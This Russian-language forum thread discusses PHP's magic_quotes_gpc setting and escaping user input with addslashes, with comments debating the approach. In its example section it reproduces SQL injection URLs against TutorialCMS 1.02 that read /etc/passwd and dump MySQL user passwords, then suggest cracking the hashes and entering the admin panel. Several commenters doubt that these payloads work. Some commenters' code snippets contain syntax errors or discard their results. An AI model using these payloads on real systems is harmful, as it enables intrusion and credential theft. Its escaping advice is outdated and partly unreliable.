Укрощение magic_quotes_gpc [INTRO] В настоящей статье пойдет речь об одном из конфигурационных параметров языка программирования PHP — magic_quotes_gpc. Этот параметр играет важную роль, касающуюся, прежде всего, безопасности функционирования любого веб-приложения, обрабатывающего данные, полученные от пользователя и использующего для их хранения базу данных MySQL. [At that affect?]Параметр magic_quotes_gpc влияет на то, как будут обрабатываться специальные символы, содержащиеся в данных, передаваемых пользователем (массивы $_GET, $_POST, $_COOKIE). При magic_quotes_gpc = 1 эти спецсимволы [одиночные (') и двойные кавычки ("), обратный слеш (\), байт NULL] автоматически экранируются интерпретатором PHP (перед каждым таким символом добавляется обратный слеш). При magic_quotes_gpc = 0 все данные передаются в таком виде, в каком их ввел пользователь. В последнем случае в целях безопасности требуется обрабатывать передаваемые данные (в противном случае возможна атака SQL-injection) непосредственно в коде приложения. Для этого в PHP существует функция addslashes (выдержка из документации): PHP: $str = "Is your name O'reilly?"; # выводит: Is your name O\'reilly? echo addslashes($str); [magic_quotes_gpc 0 or 1?]Все, вроде бы, просто. Использование в коде приложения функции addslashes в случае, если заведомо известно, что директива magic_quotes_gpc равна 0, вполне обосновано. Но что если администратор хостинга решит установить ее значение в единицу? Будет происходить двойное экранирование спецсимволов! Поэтому, функцию addslashes необходимо применять только в том случае, когда magic_quotes_gpc = 0. Получить текущее значение данного конфигурационного параметра можно при помощи стандартной функции get_magic_quotes_gpc. Таким образом, более универсальный код будет иметь следующий вид: PHP: $str = "Is your name O'reilly?"; $str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str; # выводит при любых настройках PHP: Is your name O\'reilly? echo $str; [Create function]Если писать каждый раз такую конструкцию, то код разрабатываемого веб-приложения становится достаточно громоздким. Гораздо эффективней использовать в начале каждого файла PHP универсальный код, осуществляющий при необходимости описанную выше обработку. Он будет иметь следующий вид: PHP: function addslashes_for_array(&$arr) { foreach($arr as $k=>$v) { if (is_array($v)) { addslashes_for_array($v); $arr[$k] = $v; } else { $arr[$k] = addslashes($v); } } } function fix_magic_quotes_gpc() { if (!get_magic_quotes_gpc()) { addslashes_for_array($_POST); addslashes_for_array($_GET); addslashes_for_array($_COOKIE); } } # экранирует при необходииости строки в $_GET, $_POST, $_COOKIE fix_magic_quotes_gpc(); Следует заметить, что описанный код учитывает также тот факт, что в переменных $_GET, $_POST, $_COOKIE могут передаваться не только строки, но и многомерные массивы строк. [End of] В ходе проведенного недавно нашей компанией исследования некоторых веб-сайтов выяснилось, что многие достаточно известные веб-разработчики не учитывают параметр magic_quotes_gpc. А жаль... [Example] Программа: TutorialCMS 1.02 (возможно и более ранние версии) http://[target]/activate.php?userName=[SQL-inj] Условие: magic_quotes_gpc = off (при magic_quotes_gpc=1 код не уязвим.) Уязвимый код: PHP: ........... $userName = $_GET["userName"]; $code = $_GET["activate"]; ........... $sql = "SELECT activated FROM users WHERE username = '$userName' AND activated = '$code'"; ........... Сайт производителя: www.wavelinkmedia.com Скачать TutorialCMS 1.02 http://www.wavelinkmedia.com/scripts/tutorialcms/ Прмеры запросов: 1. Читаем /etc/password PHP: http://[target]/activate.php?userName='+union+select+1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,10,11,12,13/* 2. Читаем логины и пароли: PHP: http://[target]/activate.php?userName='/**/union/**/select/**/1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,10,11,12,13/**/from/**/mysql.user/* Пароль зашифрован в MD5, расшифровываем и пробуем войти в админку: PHP: http://[target]/admin www.controlstyle.ru, www.milw0rm.com
Проще всего проверить gpc и если оно включено, то обработать все, убрав его. Дальще действовать как и в случае, если админ не долбостук )
Тупое добавление слешей во все параметры это бред. Каждый параметр нужно обрабатывать индивидуально в соответствии с предполагаемым типом. Например, строку перед добавлением в базу прогнать через mysql_escape_string. перед выводом в браузер порезать теги, если это нужно. а это - вырезание гланд через ж..
Я так понял в статье рассматривался вариант написания независимого кода от заначения параметра magic_quotes_gpc, т.е. чтоб код одинаково работал как при magic_quotes_gpc=0, так и при magic_quotes_gpc=1. Всё это касательно получаемых данных из массивов $_GET, $_POST, $_COOKIE. PS Цель статьи показать лишь, то что надо не забывать об этом важном параметре, так как видим скрипты пишут в надежде что magic_quotes_gpc=1, а при magic_quotes_gpc=0 скрипт уязвим...
Мда..как Great сказал тут нужно к каждому параметру подходить индивидуально PHP: $str = (!get_magic_quotes_gpc()) ? addslashes($str) : $str; Тут надо пояснить что передает параметр $str, если не фицры, то лучше использовать mysql_escape_string, а не addslashes, если же в параметры только цифры, то зачем addslsshes когда хватит intval($str)
Честно говоря, пример с TutorialCMS не слишком удачный. В коде в запросе SELECT стоит выбор одной колонки - activated, в примерах запросов аж по 13 штук. /etc/passwd можно прочитать лишь сами знаете при каких привилегиях. Данные из базы можно прочесть далеко не всегда. И еще возникло впечатление, что прочитав mysql.user и расшифровав пароль, мы получим пасс на админку TutorialCMS И, кстати говоря, указанная уязвимость приводит к слепой скуле - на экран ничего не выводится - ни /etc/passwd мы не прочитаем, ни пароли из базы не выцепим.
Пример не с потолка а с milw0rm - эксплоит Скачал эту cms, запустил на локалхосте, действительно колонка одна и вывода нет, откуда взялись такие запросы на милворме, для меня загадка... по поводу паса на админку - он хранится в таблице users см. exploit.
Как-то тут всё сложно... PHP: function my_evil_func ($func, $arr) { $result = array(); foreach ($arr as $key => $value) $result[$key] = (is_array($value) ? my_evil_func($func, $value) : $func($value)); return $result; } Да и вообще, в большинстве случаев можно обойтись конструкцией вида: $var = array_map('addslashes', $_REQUEST); И как было замечено - к каждому параметру нужен индивидуальный подход, исходя из типа параметра и того, где он будет использоваться...
omg, subj... Code: <?php function addslashes4array($array) { $result = array(); foreach ($array as $key => $value) { if (is_array($value)) { $result[$key] = addslashes4array(($value); } else { $result[$key] = addslashes($value); } } return $result; } if (!get_magic_quotes_gpc()) { addslashes4array($_REQUEST); } ?> Вообще предпочитаю делать наоборот: Code: <?php function stripslashes4array($array) { $result = array(); foreach ($array as $key => $value) { if (is_array($value)) { $result[$key] = stripslashes4array(($value); } else { $result[$key] = stripslashes($value); } } return $result; } if (get_magic_quotes_gpc()) { stripslashes4array($_REQUEST); } ?> И потом уже отдельно фильтровать данные в нужных мне местах...
Функция ini_get('magic_quotes_gpc') или get_magic_quotes_gpc() выдаст значение этого параметра в php.ini (0 или 1).
В очередной раз попав в эту тему, совершенно не понял, о чём она. То ли я что-то не понимаю, то ли другие... Надо разобраться. Чем не нравится двойное экранирование? Допустим есть код: PHP: $name = addslashes($_GET['name']); $query = "SELECT * FROM users WHERE username = '$name'"; Подаём на вход кавычку. При magic_quotes_gpc = Off: Code: SELECT * FROM users WHERE username = '[color=red]\'[/color]' Всё хорошо При magic_quotes_gpc = On: Code: SELECT * FROM users WHERE username = '[color=red]\\\'[/color]' Опять всё хорошо - за пределы кавычек выйти не получается. Где уязвимость?! Насчёт примера вообще непонятно, к чему он здесь - там нет никакой фильтрации, понятно, что без слеширования код уязвим. Казалось бы, тема о безопасном использовании функций слеширования независимо от конфигурации php. P.S. Чтоб убедить меня в осмысленности этой темы, напишите, пожалуйста, код, обрабатывающий входные параметры функцией addslashes() и уязвимый при magic_quotes_gpc = On.
Присоединяюсь,к Root-access ... тоже не нашел в этой статье уязвимости ... если таковая действительно есть, то прошу более компетентных людей показать уязвимый код и эксплуатацию уязвимости. Заранее благодарен.
+ ко всему для PHP 5.3+ добавить перед Code: @set_magic_quotes_runtime(0); @ini_set("magic_quotes_runtime", 0);
Почему с magic_quotes_gpc=1 код не уязвим? ну экранируются некоторые спец символы, но без них же можно провести инъекцию? или что-то не понимаю?
А если представить в другой кодировке, например %27 или закриптовать и раскриптовать сразу? или эти функции не будут выполнятся пока не выйдят за ковычку? То есть ситуация на 100% безвыходная?